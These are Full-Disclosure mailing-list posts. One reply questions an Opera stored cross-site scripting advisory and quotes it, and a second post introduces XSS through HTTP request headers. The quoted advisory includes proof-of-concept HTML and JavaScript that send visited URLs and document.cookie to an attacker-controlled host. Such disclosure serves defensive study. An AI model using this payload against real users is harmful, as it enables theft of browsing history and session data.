Re: [Full-disclosure] Opera Stored Cross Site Scripting Vulnerability

2008-10-22 Thread kuza55
Is there any potential for code execution here similar to XSS bugs in
Firefox's chrome:// context or in IE's Local Zone?

Also, you have a PoC which extracts document.cookie; which cookie does
this acquire? From my understanding of this advisory the xss is
rendered in opera:historysearch rather than any specific website, so
document.cookie should not have any entries; is there something I've
missed here?

The way I'm reading this advisory is that all you've managed to do is
read out the user's history (which is still an issue; tokens in urls,
privacy, etc) via this xss, but nothing more.

2008/10/22 Roberto Suggi [EMAIL PROTECTED]:
 ==
 =
 = Opera Stored Cross Site Scripting Vulnerability
 =
 = Vendor Website:
 = http://www.opera.com
 =
 = Affected Version:
 =   -- All desktop versions
 =
 = Public disclosure on 22nd October 2008
 =
 ==
 ==

 Available online at:
 http://www.security-assessment.com/files/advisories/20
 08-10-22_Opera_Stored_Cross_Site_Scripting.pdf

 == Issue Details ==

 Opera browser is vulnerable to stored Cross Site
 Scripting.  A malicious attacker is able to inject
 arbitrary browser content through the
 websites visited with the Opera browser. The code
 injection is rendered into the Opera History Search
 page which displays URL and a short
 description of the visited pages.

 == Bug Analysis ==

 Opera.exe imports Opera.dll which handles most of the
 browser functionality.
 Whenever a user visits a page, the URL, and a part of
 the content of the visited page is saved and
 compressed in a file named md.dat . The
 file md.dat can be found at the following path in a
 standard Windows Opera installation:

 c:\Documents and Settings\user\Local
 Settings\Application
 Data\Opera\Opera\profile\vps\\md.dat

 The vulnerability exists in the way the URL and the
 content of visited page is stored and rendered from
 the md.dat file.

 == Opera History Search Page Generation ==

 User visits a new site. When the user closes the Opera
 browser, the file md.dat is updated. The Opera browser
 appends a block of 2000 bytes
 for each site visited.

 The site URL and title are extracted and put in clear
 text at begin of the 2000 bytes block.

 The preview content which appears on
 opera:historysearch page for the site is compressed
 into the file md.dat. However, the HTML encoding is
 not consistent across the URL scheme of the site and
 the injection is possible in the optional fragment of
 the URL (after the # character).

 The following sequence summarises an attack scenario:

 1.User visits http://aaa.com/index.htm#script
 src=http://badsite/bad.js/script
 2.URL and preview content is stored in the history
 search page. However, the optional fragment after the
 character # is not encoded properly.
 3.If the user visits the history search page, the
 cross site scripting is rendered in the user browser
 context.

 == Opera History Search Page Rendering ==

 When accessing the History Search page, Opera reads
 the file md.dat again. The content from md.dat is
 decompressed and saved into a buffer.
 The buffer is then used to generate a cache file that
 contains the HTML code of the history search page.
 The cache file can be found such as:

 c:\Documents and Settings\user\Local
 Settings\Application
 Data\Opera\Opera\profile\cache4\opr000EA

 Then Opera reads the content from the cache file to
 display the history search page. The HTML code is not
 escaped for the optional fragment
 on the URL of the visited pages.

 == Opera History/Cookie Exposed - Exploit Description
 ==

 Victim visits site xxx/1.html and clicks on the link.
 The 1.html source code:

 1.HTML

 html
 a href='http://xxx/2.html#script
 src=http://xxx/a.js/script'a/a
 /html

 The link includes the cross site scripting injection
 and brings the victim to page 2.html. The web server
 returns 200 OK. The 2.html source code:

 2.HTML

 html
 This is a proof of concept.
 script
 setTimeout(document.location='opera:historysearch?q=*
 ',5000);
 /script
 /html

 The user is then redirected to the opera:historysearch
 page where the injection has been stored in the
 history after the user followed the
 link from 1.html. The injection inserted a malicious
 JavaScript a.js which is executed when the user
 reaches the opera history search page.

 a.js

 var x;
 for (x in document.links)
 {
 document.write(img
 src=http://yyy/xxx.asp?query=+document.links[x].href+
 );
 }
 document.write(img
 src=http://yyy/xxx.asp?keyword=+document.cookie+;);
 setTimeout(document.location='http://xxx/3.html',500
 0);

 The malicious JavaScript includes a cross site forged
 request that dumps the URL of the visited pages to a
 third site yyy controlled by the
 attacker. Then the content of the cookie is also
 dumped and finally the user is redirected to another
 page 3.html.

 == Opera History Cross Site Scripting and Cross 

[Full-disclosure] Exploiting reflected XSS vulnerabilities, where user input must come through HTTP Request headers

2007-07-11 Thread kuza55
Contents:
===
1.0 Introduction
2.0 The User_Agent Header
3.0 (Known) Firefox  Safari Request Header Injection (Sometimes)
4.0 Attacking Caching Proxies
5.0 References


1.0 Introduction
===
Ever since Adobe patched Flash player to stop attackers spoofing
certain headers such as Referer, User-Agent, etc, it has been
considered impossible to exploit XSS vulnerabilities where the user
input is taken from a request header, e.g. when a website prints out
what User-Agent a user's browser is sending, without escaping it. With
the exception of the Referer header which we can control enough to
exploit XSS attacks through it.

I want to showcase several ways in which we can still exploit these
vulnerabilities.

The rest of the write-up is at:
http://kuza55.blogspot.com/2007/07/exploiting-reflected-xss.html

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/